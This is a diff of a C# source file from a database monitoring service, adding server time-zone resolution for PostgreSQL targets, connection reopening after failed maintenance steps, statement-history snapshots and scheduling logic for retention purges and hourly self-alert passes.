+    /// <see cref="PgTargetFactCollector.ConfigSnapshotLowerBounds"/> hands the analysis side's read of the same row: the
+    /// newest day first, which lets TimescaleDB plan the day's chunks instead of every retained one, and every retained
+    /// snapshot only when that day held none. A target whose config collector has been off for a week or a season still
+    /// has the clock it last reported, and only a target with no snapshot at all has no known clock and reads as UTC.</summary>
+    internal const string ReadPgServerClockSql = """
+        SELECT c.setting
+        FROM pg_server_config AS c
+        WHERE c.server_id = $1
+        AND   c.collection_time >= $2
+        AND   c.name = 'TimeZone'
+        AND   c.database_name IS NULL
+        AND   c.role_name IS NULL
+        AND   c.setting IS NOT NULL
+        AND   coalesce(c.source, '') NOT IN ('client', 'session', 'override')
+        ORDER BY c.collection_time DESC
+        LIMIT 1
+        """;
+
+    /// <summary>
+    /// #4938: whether a collector's run puts a row in the store that carries its server's clock: <c>server_properties</c>
+    /// for a SQL Server target (its time zone and UTC offset) and <c>pg_server_config</c> for a PostgreSQL one (its
+    /// <c>TimeZone</c> setting). The worker reads the clock again after such a run, so a clock that arrives or changes is
+    /// seen, and never on a tick.
+    /// </summary>
+    internal static bool CarriesServerClock(string collectorName, CollectorTargetEngine engine) =>
+        engine == CollectorTargetEngine.SqlServer
+            ? string.Equals(collectorName, ServerPropertiesCollector.Instance.Name, StringComparison.OrdinalIgnoreCase)
+            : string.Equals(collectorName, PgServerConfigCollector.Instance.Name, StringComparison.OrdinalIgnoreCase);
+
+    /// <summary>
+    /// #4938: one server's wall clock, from the store: the newest <c>server_properties</c> row for a SQL Server target
+    /// (<see cref="DarlingServerClockReader"/>: its zone where it reports one, else its fixed offset) or the newest
+    /// <c>pg_server_config</c> <c>TimeZone</c> row for a PostgreSQL one (<see cref="ReadPgServerClockSql"/>); UTC when the
+    /// server has no such row yet. Null when the read failed, so a caller keeps the clock it holds: a store hiccup is
+    /// not a clock change, and it must never break the connect or the run that asked. Internal so a live test can
+    /// seed rows and read.
+    /// </summary>
+    internal static async Task<ServerClockStamp?> TryReadServerClockAsync(
+        NpgsqlDataSource postgres, int serverId, CollectorTargetEngine engine, ILogger? logger, CancellationToken cancellationToken)
+    {
+        try
+        {
+            if (engine == CollectorTargetEngine.SqlServer)
+            {
+                return new ServerClockStamp(await DarlingServerClockReader.ReadAsync(postgres, serverId, cancellationToken));
+            }
+
+            await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
+
+            /* The newest day first, then every retained snapshot only when that day held none: the bounds the analysis side
+               reads the same row with. The day's newest qualifying row is the newest one the unbounded read would find, so
+               the two steps cannot disagree; the first only keeps the planner off every retained chunk. A server whose
+               snapshots stopped a week ago must not read as UTC, which would move its run-time slot by its offset. */
+            foreach (var lowerBound in PgTargetFactCollector.ConfigSnapshotLowerBounds(DateTime.UtcNow))
+            {
+                using var command = new NpgsqlCommand(ReadPgServerClockSql, connection);
+                command.CommandTimeout = ServiceCommandDeadlines.CollectionSweepSeconds;
+                command.Parameters.AddWithValue(serverId);
+                command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = lowerBound });
+
+                if (await command.ExecuteScalarAsync(cancellationToken) is string zone && !string.IsNullOrWhiteSpace(zone))
+                {
+                    return ResolvePgServerClock(serverId, zone.Trim(), logger);
+                }
+            }
+
+            return new ServerClockStamp(ServerClock.Utc);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger?.LogDebug("Observability: server clock read for server_id {ServerId} failed: {Message}", serverId, ex.Message);
+            return null;
+        }
+    }
+
+    /* Servers already warned about an unresolvable PostgreSQL TimeZone, keyed by server id and zone text, so the
+       warning is logged once per server and zone rather than on every clock read. */
+    private static readonly ConcurrentDictionary<(int ServerId, string Zone), byte> UnresolvedPgZonesWarned = new();
+
+    /// <summary>
+    /// #4938: the clock for a PostgreSQL server's <c>TimeZone</c> text. A zone this host cannot resolve (a POSIX string such
+    /// as <c>EST5EDT,M3.2.0,M11.1.0</c>, or <c>localtime</c>) reads as UTC, so the run times of that server's collectors
+    /// are placed on a UTC clock; that is logged as a warning, once per server and zone text, naming the text.
+    /// </summary>
+    internal static ServerClockStamp ResolvePgServerClock(int serverId, string zone, ILogger? logger)
+    {
+        var clock = ServerClock.Resolve(zone, null);
+        if (ReferenceEquals(clock, ServerClock.Utc) && UnresolvedPgZonesWarned.TryAdd((serverId, zone), 0))
+        {
+            logger?.LogWarning(
+                "Server {ServerId} reports the PostgreSQL TimeZone '{Zone}', which this host cannot resolve to a time zone; its collector run times use UTC.",
+                serverId, zone);
+        }
+
+        return new ServerClockStamp(clock);
+    }
+
     /// <summary>
     /// Ensures the store connection string carries the collect/config search path (the V8 schema
     /// split) so every pooled physical connection resolves the shared SQL's bare table names to the
@@ -6085,7 +7647,7 @@ private async Task EvaluatePgCpuAsync(
             return;
         }
 
-        var alertSettings = new DarlingAlertSettings(config);
+        var alertSettings = new DarlingAlertSettings(config, _logger);
 
         if (!alertSettings.CpuEnabled)
         {
@@ -6402,7 +7964,7 @@ private async Task EvaluatePgDeadlocksAsync(
             return;
         }
 
-        var alertSettings = new DarlingAlertSettings(config);
+        var alertSettings = new DarlingAlertSettings(config, _logger);
 
         if (!alertSettings.DeadlockEnabled)
         {
@@ -6610,7 +8172,7 @@ private async Task EvaluatePgBlockingAsync(
             return;
         }
 
-        var alertSettings = new DarlingAlertSettings(config);
+        var alertSettings = new DarlingAlertSettings(config, _logger);
 
         if (!alertSettings.BlockingEnabled)
         {
@@ -6837,7 +8399,7 @@ private async Task EvaluatePgLongRunningQueryAsync(
             return;
         }
 
-        var alertSettings = new DarlingAlertSettings(config);
+        var alertSettings = new DarlingAlertSettings(config, _logger);
 
         if (!alertSettings.LongRunningQueryEnabled)
         {
@@ -7061,7 +8623,7 @@ private async Task EvaluatePgPoisonWaitAsync(
             return;
         }
 
-        var alertSettings = new DarlingAlertSettings(config);
+        var alertSettings = new DarlingAlertSettings(config, _logger);
         if (!alertSettings.PoisonWaitEnabled)
         {
             return;
@@ -8419,6 +9981,13 @@ FROM timescaledb_information.jobs AS j
                         continue;
                     }
 
+                    /* #5329: the io hourlies never hold the raw purge (the #1661 rule), the same as the coverage
+                       verdict above, which leaves them out of RawTierCoverage. See RawPurgeUngatedRollups. */
+                    if (!TimescaleSupport.HoldsRawPurge(target.View))
+                    {
+                        continue;
+                    }
+
                     var materialization = await TimescaleSupport.ResolveMaterializationAsync(connection, target.View, cancellationToken);
                     if (materialization is null)
                     {
@@ -8574,7 +10143,20 @@ private async Task ConvergeStoreObjectsAsync(CancellationToken cancellationToken
                     continue;
                 }
 
-                await RunStoreObjectConvergenceStepAsync(connection, step, tally, _logger, budget.Token);
+                await RunStoreObjectConvergenceStepAsync(connection, step, tally, _logger, budget.Token, hourly: true);
+            }
+
+            /* #5574: the perfmon_stats chunk re-group, AFTER the whole list because the "compression policies" step is what
+               moves the hypertable to the new grouping first (the re-group does nothing until it has). It is a background
+               loop on its own connection and the service's stopping token, not a step: the rewrite of a large store's chunk
+               takes minutes, and a step would hold this pass (and the sweep loop that awaits it) for them. Starting it costs
+               nothing here (no database work, and nothing when a run is already going); a converged store's run is two
+               catalog reads and it ends. Hourly pass only: the start path does not call it, so a restart is not held; the
+               first hourly pass, about 30 s after a start (its stamp seeds at MinValue, #3812/#3817), starts it, and
+               every hourly pass after. TimescaleDB-gated like the steps that need it. */
+            if (timescaleAvailable)
+            {
+                StartPerfmonRegroupDrain(cancellationToken);
             }
 
             LogStoreObjectConvergence(tally, passClock.ElapsedMilliseconds, startup: false);
@@ -8597,6 +10179,16 @@ private async Task ConvergeStoreObjectsAsync(CancellationToken cancellationToken
         }
     }
 
+    /// <summary>The perfmon_stats chunk re-group loop (#5574); null until the first hourly pass on a store with TimescaleDB.</summary>
+    private PerfmonRegroupDrain? _perfmonRegroupDrain;
+
+    /// <summary>Starts the re-group loop unless one is running. Never throws and does no database work on this thread.</summary>
+    private void StartPerfmonRegroupDrain(CancellationToken stoppingToken)
+    {
+        _perfmonRegroupDrain ??= new PerfmonRegroupDrain(token => _postgres!.OpenConnectionAsync(token), _logger);
+        _perfmonRegroupDrain.StartIfIdle(stoppingToken);
+    }
+
     /// <summary>
     /// One SEGMENT of <see cref="s_storeObjectConvergence"/> on the start path — the steps tagged
     /// <paramref name="stage"/>, in the list's order, on the connection that segment's try block owns
@@ -8640,6 +10232,18 @@ private async Task RunStoreObjectConvergenceSegmentAsync(
     /// rethrown, so the budget and shutdown reach the pass's own catches rather than being recorded as a
     /// failure of every step.</para>
     ///
+    /// <para>#5444: a statement whose failure made Npgsql close the connection (an ERROR in SQLSTATE classes XX, 58
+    /// or 53) would leave every later step on the pass's one connection throwing "Connection is not open", each
+    /// logged as a second, misleading failure until the next hourly pass. So after EVERY step, whether it threw or
+    /// returned, a connection that is no longer Open is reopened through
+    /// <see cref="TimescaleSupport.ReopenBrokenConnectionAsync"/> (the #5439 helper), with one additional warning
+    /// naming the step. It runs after a normal return too because most steps isolate their own statements: a
+    /// <c>DROP MATERIALIZED VIEW ... CASCADE</c> that breaks the connection inside
+    /// <see cref="TimescaleSupport.DropStaleContinuousAggregatesAsync"/> is caught and logged there, and the step
+    /// returns normally with the connection closed. A failed reopen is logged and never thrown: the pass's own
+    /// catches decide what a failure degrades to, and the next step tries again. A connection that is still Open is
+    /// left alone, and cancellation skips the check because it propagates.</para>
+    ///
     /// <para><see cref="StoreObjectChangeSignal"/> is what keeps the changed count honest: only the six
     /// steps whose return value IS a change count can contribute to it, and the rest are counted as steps
     /// that ran. The alternative reads "changed: hypertable conversion, compression policies, continuous
@@ -8658,11 +10262,13 @@ internal static async Task RunStoreObjectConvergenceStepAsync(
         StoreObjectConvergenceStep step,
         StoreObjectConvergenceTally tally,
         ILogger logger,
-        CancellationToken cancellationToken)
+        CancellationToken cancellationToken,
+        bool hourly = false)
     {
         try
         {
-            var count = await step.EnsureAsync(connection, logger, cancellationToken);
+            var ensure = hourly && step.HourlyEnsureAsync is not null ? step.HourlyEnsureAsync : step.EnsureAsync;
+            var count = await ensure(connection, logger, cancellationToken);
             tally.Steps++;
             if (step.Signal == StoreObjectChangeSignal.Delta && count > 0)
             {
@@ -8677,6 +10283,20 @@ internal static async Task RunStoreObjectConvergenceStepAsync(
                 "Store object convergence step '{Step}' failed — whatever it had not yet ensured stays unbuilt until the next hourly pass or the next start retries it (the step's own lines above name any individual object it did isolate): {Message}",
                 step.Name, ex.Message);
         }
+
+        /* #5444: after every step, thrown OR returned, because most steps swallow their own per-statement errors
+           and return normally with the connection already closed. A null connection is the behaviour tests' fake. */
+        if (connection is not null && connection.State != System.Data.ConnectionState.Open)
+        {
+            if (await TimescaleSupport.ReopenBrokenConnectionAsync(
+                    connection, logger, cancellationToken,
+                    "Store object convergence: the store connection is closed and could not be reopened, so this step's successors fail; the next step tries the reopen again: {Message}"))
+            {
+                logger.LogWarning(
+                    "Store object convergence step '{Step}' left the store connection closed; it was reopened so the steps after it still run",
+                    step.Name);
+            }
+        }
     }
 
     /// <summary>
@@ -8750,7 +10370,8 @@ private async Task SampleCheckpointSyncAsync(CancellationToken cancellationToken
     ///
     /// <para>Two more self-telemetry passes ride the same tick, connection and budget: the #3021
     /// <see cref="StoreLogSweep"/> read of the store's own server log, and the #2674 collector-cost flush.
-    /// The shared budget is what bounds the whole tick — three passes on one
+    /// A fourth pass, the #5097 <see cref="StoreStatementHistory"/> snapshot, rides the same budget.
+    /// The shared budget is what bounds the whole tick — every pass on one
     /// <see cref="StoreSelfMetrics.SweepTimeoutSeconds"/> linked CTS, not one each.</para>
     /// </summary>
     /// <param name="checkpointLongestSync">(#4834) The longest single checkpoint sync the minute sampler saw since the
@@ -8922,6 +10543,44 @@ slice may cost the collector-cost flush below. */
                 }
             }
 
+            /* #5097: the store's own statement history, on this same hourly tick so it lands on the census' grid.
+               ITS OWN catch, and a Warning once: a store whose owner cannot run the reader function (a bring-your-own
+               store without the extension) repeats the same failure hourly, and none of it may cost the
+               collector-cost or read-latency flush below. A snapshot that fails rolls back whole, so the baseline
+               and the history never disagree. */
+            if (connection.State != ConnectionState.Open)
+            {
+                await connection.CloseAsync();
+                await connection.OpenAsync(budget.Token);
+            }
+
+            /* Its own slice of the budget, like the re-mask above: seven commands at 60 s each could otherwise use the
+               whole sweep budget and a cancellation here would skip the flushes below. A slice that expired while the
+               budget did not is a failed pass like any other; only the budget itself ends the sweep. */
+            using var historyBudget = CancellationTokenSource.CreateLinkedTokenSource(budget.Token);
+            historyBudget.CancelAfter(StoreStatementHistory.SliceBudget);
+            try
+            {
+                await StoreStatementHistory.SnapshotAsync(connection, DateTime.UtcNow, _logger, historyBudget.Token);
+                _storeStatementHistoryWarned = false;
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException
+                || (historyBudget.IsCancellationRequested && !budget.IsCancellationRequested))
+            {
+                var sqlState = (ex as PostgresException)?.SqlState ?? "n/a";
+                if (_storeStatementHistoryWarned)
+                {
+                    _logger.LogDebug("Store statement history is still failing (SqlState {SqlState}): {Message}", sqlState, ex.Message);
+                }
+                else
+                {
+                    _logger.LogWarning(
+                        "Store statement history failed (SqlState {SqlState}), so this hour's per-statement deltas are missing: {Message}",
+                        sqlState, ex.Message);
+                    _storeStatementHistoryWarned = true;
+                }
+            }
+
             /* The flush runs on this same connection, which a canceled slice above can leave closed. */
             if (connection.State != ConnectionState.Open)
             {
@@ -9090,6 +10749,8 @@ surviving findings (the STORAGE identity, same as every collected row), the dril
                 ServerName = runtime.StorageName,
                 TimeRangeStart = latest.AddMinutes(-SameStatementPileupDetector.BaselineLookbackMinutes),
                 TimeRangeEnd = latest,
+                /* #5558: the same-statement pileup is a node-local finding (queries that piled up on THIS node), so there is nothing to skip. */
+                SecondaryReplicaDatabases = PerformanceMonitor.Darling.Analysis.PgSecondaryReplicaScope.NoneSkipped,
                 CancellationToken = stoppingToken,
                 ShutdownToken = stoppingToken,
             };
@@ -9566,60 +11227,678 @@ internal bool TryStartScheduledPurge(
     }
 
     /// <summary>
-    /// #4825: the <c>purge_now</c> command's launch decision, extracted so it is testable the way
-    /// <see cref="TryStartScheduledPurge"/> is. The purge used to run inline on the command loop
-    /// (<c>RunCommandLoopAsync</c> runs one command at a time), so every other command waited behind it, and it ran
-    /// unpaced, so its deletes could stall collection on every server. It now starts in the SAME slot the daily
-    /// purge uses (<see cref="_purgeTask"/>) and this returns at once.
-    ///
-    /// <para>If that slot is still running, whether the daily purge or an earlier <c>purge_now</c>, nothing
-    /// starts: the reply is a success with <c>started: false, alreadyRunning: true</c>. Otherwise it is a success
-    /// with <c>started: true</c> and <c>startedAtUtc</c>. Both carry <c>customRetentionDays</c> as asked. It does
-    /// not touch <c>_nextPurgeUtc</c>: a manual purge neither counts as the day's purge nor delays it.</para>
-    ///
-    /// <para><c>startedAtUtc</c> is this service's <c>DateTime.UtcNow</c>, taken just before the purge starts, as
-    /// naive UTC in the round-trip ("o") form: the same clock and the same shape as the <c>collection_time</c> the
-    /// run's records are stamped with (<see cref="DarlingObservability.LogRetentionRunAsync"/>). The viewer reads
-    /// the run's totals back from collection_log with it as the lower bound, so no viewer or database clock enters
-    /// the comparison. The already-running reply has none: nothing started, so there is no run of this caller's to
-    /// look for.</para>
-    ///
-    /// <para><paramref name="stoppingToken"/> must be the SERVICE's stopping token. The token the command loop
-    /// hands a command is a per-command one, and the purge outlives the command, so binding it to that one would
-    /// cancel the purge the moment the command reported.</para>
+    /// How soon after a budget-stopped retention pass ends the next scheduled pass is due (#5592). The launch stamps the
+    /// next pass a whole <see cref="s_purgeInterval"/> out, so a drain the wall budget stopped would otherwise wait a day
+    /// for the rest. One hour leaves collection the gap the budget already guarantees it.
+    /// </summary>
+    internal static readonly TimeSpan PurgeContinuationDelay = TimeSpan.FromHours(1);
+
+    /// <summary>
+    /// #5592 (#4732): the earlier of two absolute due times. Both arguments are stamps, not a stamp and the clock, so a
+    /// wall clock that stepped backwards cannot strand the work here the way a raw compare of a stamp against now does:
+    /// a stamp left far in the future by a step back is simply the later one and is replaced, so the continuation is
+    /// still due within <see cref="PurgeContinuationDelay"/> of the pass's end (the stamp is not read as due at once,
+    /// which would start the next drain with no gap for collection). A stamp already sooner, or equal, is returned as it
+    /// is. Internal so a test can pin the table.
+    /// </summary>
+    internal static DateTime SoonerStamp(DateTime firstUtc, DateTime secondUtc) =>
+        firstUtc <= secondUtc ? firstUtc : secondUtc;
+
+    /// <summary>
+    /// #5592: called by the scheduled pass and by <c>purge_now</c> when the retention sweep returns. When the sweep
+    /// stopped on its wall budget with tables left, the next scheduled pass becomes due at most
+    /// <see cref="PurgeContinuationDelay"/> after <paramref name="endUtc"/>: <c>_nextPurgeUtc</c> moves to the sooner of
+    /// itself and that time, never later. A sweep that drained every table, failed (its summary carries no tables left) or
+    /// was cancelled (it threw, so this is never reached) leaves the stamp alone. The set happens under
+    /// <c>_purgeTaskLock</c> like the launchers' check and set, and the slot is still held while this pass runs, so the
+    /// continuation cannot start a second pass beside it. Returns whether the stamp was pulled in.
+    /// </summary>
+    internal bool NotePurgePassEnded(PurgeSummary summary, DateTime endUtc)
+    {
+        if (!summary.StoppedOnBudget)
+        {
+            return false;
+        }
+
+        var continueAtUtc = endUtc + PurgeContinuationDelay;
+        lock (_purgeTaskLock)
+        {
+            var sooner = SoonerStamp(_nextPurgeUtc, continueAtUtc);
+            if (sooner == _nextPurgeUtc)
+            {
+                return false;
+            }
+
+            _nextPurgeUtc = sooner;
+        }
+
+        _logger.LogInformation(
+            "Retention purge stopped on its time budget with {TablesLeft} table(s) left; the next pass is due at {DueUtc:O} instead of waiting for the daily time",
+            summary.TablesLeftOnBudget, continueAtUtc);
+        return true;
+    }
+
+    /// <summary>
+    /// #4825: the <c>purge_now</c> command's launch decision, extracted so it is testable the way
+    /// <see cref="TryStartScheduledPurge"/> is. The purge used to run inline on the command loop
+    /// (<c>RunCommandLoopAsync</c> runs one command at a time), so every other command waited behind it, and it ran
+    /// unpaced, so its deletes could stall collection on every server. It now starts in the SAME slot the daily
+    /// purge uses (<see cref="_purgeTask"/>) and this returns at once.
+    ///
+    /// <para>If that slot is still running, whether the daily purge or an earlier <c>purge_now</c>, nothing
+    /// starts: the reply is a success with <c>started: false, alreadyRunning: true</c>. Otherwise it is a success
+    /// with <c>started: true</c> and <c>startedAtUtc</c>. Both carry <c>customRetentionDays</c> as asked. It does
+    /// not touch <c>_nextPurgeUtc</c> when it starts: a manual purge neither counts as the day's purge nor delays it.
+    /// (One that stops on its wall budget with tables left pulls the stamp in when it ends, see
+    /// <see cref="NotePurgePassEnded"/>.)</para>
+    ///
+    /// <para><c>startedAtUtc</c> is this service's <c>DateTime.UtcNow</c>, taken just before the purge starts, as
+    /// naive UTC in the round-trip ("o") form: the same clock and the same shape as the <c>collection_time</c> the
+    /// run's records are stamped with (<see cref="DarlingObservability.LogRetentionRunAsync"/>). The viewer reads
+    /// the run's totals back from collection_log with it as the lower bound, so no viewer or database clock enters
+    /// the comparison. The already-running reply has none: nothing started, so there is no run of this caller's to
+    /// look for.</para>
+    ///
+    /// <para><paramref name="stoppingToken"/> must be the SERVICE's stopping token. The token the command loop
+    /// hands a command is a per-command one, and the purge outlives the command, so binding it to that one would
+    /// cancel the purge the moment the command reported.</para>
+    /// </summary>
+    internal CommandOutcome TryStartPurgeNow(
+        Func<CancellationToken, Task> startPurge, int? customRetentionDays, CancellationToken stoppingToken)
+    {
+        DateTime startedAtUtc;
+        lock (_purgeTaskLock)
+        {
+            if (_purgeTask is { IsCompleted: false })
+            {
+                _logger.LogInformation(
+                    "purge_now: a retention purge (the daily run, or an earlier purge_now) is already running — starting nothing");
+                return new CommandOutcome(
+                    true,
+                    "purge already running",
+                    JsonSerializer.Serialize(new { success = true, started = false, alreadyRunning = true, customRetentionDays }));
+            }
+
+            /* #4825: taken before the purge starts, so every record it writes is stamped at or after this. Naive
+               UTC (Kind Unspecified), the form collection_time is stored in. */
+            startedAtUtc = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+            _purgeTask = RunTrackedAsync(startPurge, stoppingToken);
+        }
+
+        return new CommandOutcome(
+            true,
+            "purge started",
+            JsonSerializer.Serialize(new
+            {
+                success = true,
+                started = true,
+                customRetentionDays,
+                startedAtUtc = startedAtUtc.ToString("o", CultureInfo.InvariantCulture),
+            }));
+    }
+
+    /// <summary>
+    /// The hourly store-maintenance tick's launcher (#4970). The tick used to be awaited inline in the collection
+    /// launch loop, so a slow pass delayed every sweep launch; it now runs as a tracked background task, one at a
+    /// time. When the previous tick is still running at the next due time this hour is skipped: the caller has
+    /// already advanced the due stamp, which keeps the :30 phase the compression read depends on (#3575). That
+    /// differs on purpose from the daily purge, which retries on the next pass, because a skipped hour costs one
+    /// hour and a retry would sample the job catalog off phase.
+    /// </summary>
+    internal bool TryStartStoreMaintenanceTick(Func<CancellationToken, Task> runTick, CancellationToken stoppingToken)
+    {
+        if (_storeMaintenanceTick is { IsCompleted: false })
+        {
+            _logger.LogWarning(
+                "the previous hourly store-maintenance tick was still running at this tick's due time — skipping this hour; the next due time keeps its :30 phase");
+            return false;
+        }
+
+        _storeMaintenanceTick = RunTrackedTickAsync("hourly store-maintenance tick", runTick, stoppingToken);
+        return true;
+    }
+
+    /// <summary>
+    /// The hourly store self-metrics tick's launcher (#4970). The sweep and the self-alert evaluators that judge
+    /// its rows used to be awaited inline in the collection launch loop; they now run as one tracked background
+    /// task, one at a time. While the store-maintenance tick still runs this returns false WITHOUT advancing the
+    /// due stamp or taking the checkpoint window, so the next 15-second pass retries and maintenance keeps
+    /// running first. Once it launches (or skips), the stamp advances on the grid. If the previous metrics tick
+    /// is still running at this due time the hour is skipped with a Warning, so a late tick never doubles up.
+    /// </summary>
+    internal bool TryStartStoreMetricsTick(
+        DateTime nowUtc,
+        Func<CheckpointSyncMax?> takeWindow,
+        Func<CheckpointSyncMax?, CancellationToken, Task> runTick,
+        CancellationToken stoppingToken)
+    {
+        if (_storeMaintenanceTick is { IsCompleted: false })
+        {
+            return false;
+        }
+
+        _nextStoreMetricsUtc = NextGridStamp(_nextStoreMetricsUtc, nowUtc, s_storeMetricsInterval);
+
+        if (_storeMetricsTick is { IsCompleted: false })
+        {
+            _logger.LogWarning(
+                "the previous hourly store self-metrics tick was still running at this tick's due time — skipping this hour");
+            return false;
+        }
+
+        /* #4834: the longest single checkpoint sync the minute samples saw since the last tick, taken ONCE and
+           here, so the window closes when the tick LAUNCHES, whatever the sweep goes on to do. A deferral behind
+           maintenance moves that close to the first pass after maintenance ends. A skip (above) returns before
+           this call, so the window is not taken and carries into the next tick: that tick's window covers both
+           hours and its checkpointer row keeps the longest sync of the two, which is the safe direction since
+           dropping the window would lose a real long sync. The sweep stores it on the hour's checkpointer row;
+           the checkpointer evaluation and get_store_metrics both read it back from that row, so neither is
+           handed a window. */
+        var checkpointWindow = takeWindow();
+        _storeMetricsTick = RunTrackedTickAsync("hourly store self-metrics tick", token => runTick(checkpointWindow, token), stoppingToken);
+        return true;
+    }
+
+    /// <summary>
+    /// The hourly store self-metrics tick's body: the store self-metrics sweep, then the self-alerts that judge
+    /// the rows it just wrote, moved out of the launch loop (#4970) unchanged.
+    /// </summary>
+    private async Task RunStoreMetricsTickAsync(CheckpointSyncMax? checkpointWindow, CancellationToken stoppingToken)
+    {
+            await SweepStoreSelfMetricsAsync(checkpointWindow, stoppingToken);
+
+            /* #2674: right after the flush wrote the latest hour, evaluate whether any of our collectors
+               regressed in cost on a target — a fleet-level self-alert, failure-isolated like the sweep. */
+            if (_selfAlerts is not null)
+            {
+                try
+                {
+                    await _selfAlerts.EvaluateCollectorCostAsync(_postgres!, stoppingToken);
+                }
+                catch (Exception ex) when (ex is not OperationCanceledException)
+                {
+                    _logger.LogDebug(ex, "collector-cost self-alert evaluation failed");
+                }
+
+                /* #3783: the two store physical-health conditions the sweep just wrote the evidence for —
+                   the dimensions' TOAST utilisation (dormant until the store carries pg_freespacemap; the
+                   evaluator says why) and the checkpointer's last interval, differenced from the newest
+                   two checkpointer rows. Same tick as the sweep on purpose: the rows are seconds old, so
+                   the alert judges the hour the sweep measured rather than the one before it. Both
+                   master-gated inside and failure-isolated inside; the outer catch is the belt.
+                   #4834: the checkpointer check reads the hour's longest single sync from the row the
+                   sweep just wrote, the same value get_store_metrics publishes. */
+                try
+                {
+                    await _selfAlerts.EvaluateToastSlackAsync(_postgres!, stoppingToken);
+                    await _selfAlerts.EvaluateCheckpointerPressureAsync(_postgres!, stoppingToken);
+                }
+                catch (Exception ex) when (ex is not OperationCanceledException)
+                {
+                    _logger.LogDebug(ex, "store TOAST slack / checkpointer pressure self-alert evaluation failed");
+                }
+
+                /* #3466 (lane 4): the fleet sweep's DAILY channel rollup — the delivery half the sweep
+                   engine deliberately does not have. Attempted on this same hourly tick because the
+                   ceiling is enforced inside (one post per trailing day, and only on a day with
+                   something to say — 23 of every 24 ticks cost one dictionary lookup); master-gated
+                   inside like every self-alert, so master-off delivers nothing while the sweeps keep
+                   publishing to the web feed. Deliberately NOT gated on FleetSweepEnabled: sweeps
+                   recorded before the switch went off are still the trailing day's record, and with the
+                   sweep off the store simply serves an empty day, which posts nothing. Failure-isolated
+                   like its sibling above. */
+                try
+                {
+                    await _selfAlerts.EvaluateFleetSweepRollupAsync(_postgres!, stoppingToken);
+                }
+                catch (Exception ex) when (ex is not OperationCanceledException)
+                {
+                    _logger.LogDebug(ex, "fleet-sweep rollup evaluation failed");
+                }
+
+                /* #3712: the third daily document — the analysis singles digest, the once-a-day channel copy
+                   of the findings the corroboration gate routed away from the paging channels. Same hourly
+                   tick, same one-post-per-trailing-day ceiling enforced inside, same master gate inside,
+                   same failure isolation as the two siblings above. */
+                try
+                {
+                    await _selfAlerts.EvaluateAnalysisSinglesDigestAsync(_postgres!, stoppingToken);
+                }
+                catch (Exception ex) when (ex is not OperationCanceledException)
+                {
+                    _logger.LogDebug(ex, "analysis singles digest evaluation failed");
+                }
+
+                /* #5450: the daily retained-history audit. Same hourly tick; the once-a-day gate (03:00Z, the previous
+                   UTC day, a stamp that survives a restart) is enforced inside, so 23 of every 24 ticks cost a
+                   clock check and a dictionary lookup. Master-gated inside, failure-isolated inside; the outer catch
+                   is the belt. */
+                try
+                {
+                    await _selfAlerts.EvaluateCollectionHistoryAuditAsync(_postgres!, stoppingToken);
+                }
+                catch (Exception ex) when (ex is not OperationCanceledException)
+                {
+                    _logger.LogDebug(ex, "collection-history audit evaluation failed");
+                }
+            }
+    }
+
+    /// <summary>
+    /// Test seam for the per-server self-alert evaluation (#5479): stands in for the evaluator's store-polled pass for one
+    /// server, so a test can see which servers the fleet pass evaluates, when, and on which thread. Null in production.
+    /// </summary>
+    internal Func<ServerLoopState, CancellationToken, Task>? SelfAlertServerOverride { get; set; }
+
+    /// <summary>
+    /// Test seam (#5481): the fleet pass's task, so a test that starts a second pass waits for the first to finish rather than
+    /// for a counter the pass moves before it ends (a pass still running makes <see cref="TryStartSelfAlertPass"/> return false).
+    /// Null before the first pass. Production never reads it.
+    /// </summary>
+    internal Task? SelfAlertPassForTests => _selfAlertPass;
+
+    /// <summary>
+    /// The per-server self-alert pass's launcher (#5479): Collection Stopped and the other store-polled self-alerts, and
+    /// the custom-alert rules, for every server in this tick's snapshot. They ran at the top of each server's collection
+    /// body, so a body the memory launch guard held off, or one that never finished, silenced them; a fleet that had
+    /// stopped collecting paged nobody for 25 hours. Called by the sweep loop every tick whether or not any body
+    /// launches, fire-and-tracked like the per-server bodies and the hourly ticks, never awaited. One pass at a time: a
+    /// pass still running at the next tick makes that tick skip (one Warning per pass, once it has outrun the 30 s cadence), so no server is ever
+    /// evaluated by two threads at once, and the stamps in <see cref="ServerLoopState"/> are written by this pass only.
+    /// </summary>
+    /// <param name="sweepWidth">The fleet gate's width (<c>max_concurrent_sweeps</c>). The pass evaluates that many servers at
+    /// once, capped by <see cref="SelfAlertPassWidthFor"/> so its reads stay inside the store pool's reserve.</param>
+    internal bool TryStartSelfAlertPass(ServerLoopState[] targets, CancellationToken stoppingToken, int sweepWidth = MaxConcurrentServerSweeps)
+    {
+        if (_selfAlertPass is { IsCompleted: false })
+        {
+            /* A server's cadence is 30 s (s_alertSweepInterval) and the sweep tick is 15 s, so a pass that runs past
+               one tick but ends inside the cadence is on time and logs nothing here. Only a pass that has outrun the
+               cadence warns, once per pass, with how long it has run. */
+            var runningFor = SelfAlertPassClock() - _selfAlertPassStartedUtc;
+            if (!_selfAlertPassOverranWarned && runningFor > s_alertSweepInterval)
+            {
+                _selfAlertPassOverranWarned = true;
+                _logger.LogWarning(
+                    "the previous per-server self-alert pass has been running for {RunningFor:F0}s, longer than its {Cadence:F0}s cadence, so this tick starts no second one; the running pass is still judging the servers, and the next tick after it ends starts a new pass",
+                    runningFor.TotalSeconds, s_alertSweepInterval.TotalSeconds);
+            }
+
+            return false;
+        }
+
+        _selfAlertPassOverranWarned = false;
+        _selfAlertPassStartedUtc = SelfAlertPassClock();
+        _selfAlertPass = RunTrackedTickAsync("per-server self-alert pass", token => RunSelfAlertPassAsync(targets, sweepWidth, token), stoppingToken);
+        return true;
+    }
+
+    /// <summary>
+    /// The pass itself (#5479): each non-retired server, up to <c>sweepWidth</c> at a time, on its own cadence stamps. A
+    /// fleet pass that walked the servers one at a time took 3 or more sequential store reads per server (50 to 100 s at
+    /// 500 servers), so every tick overran and Collection Stopped lagged the cadence several times over; the same calls
+    /// ran inside the bodies under the fleet gate before. The pass runs at <see cref="SelfAlertPassWidthFor"/> of the sweep width, which keeps its reads inside the store pool's reserve. Each server is still
+    /// visited once per pass by one thread, so its stamps stay single-writer, and only one pass runs at a time.
+    /// Collection-stopped is evaluated for EVERY server, connected or not and whether or not it has been seen online
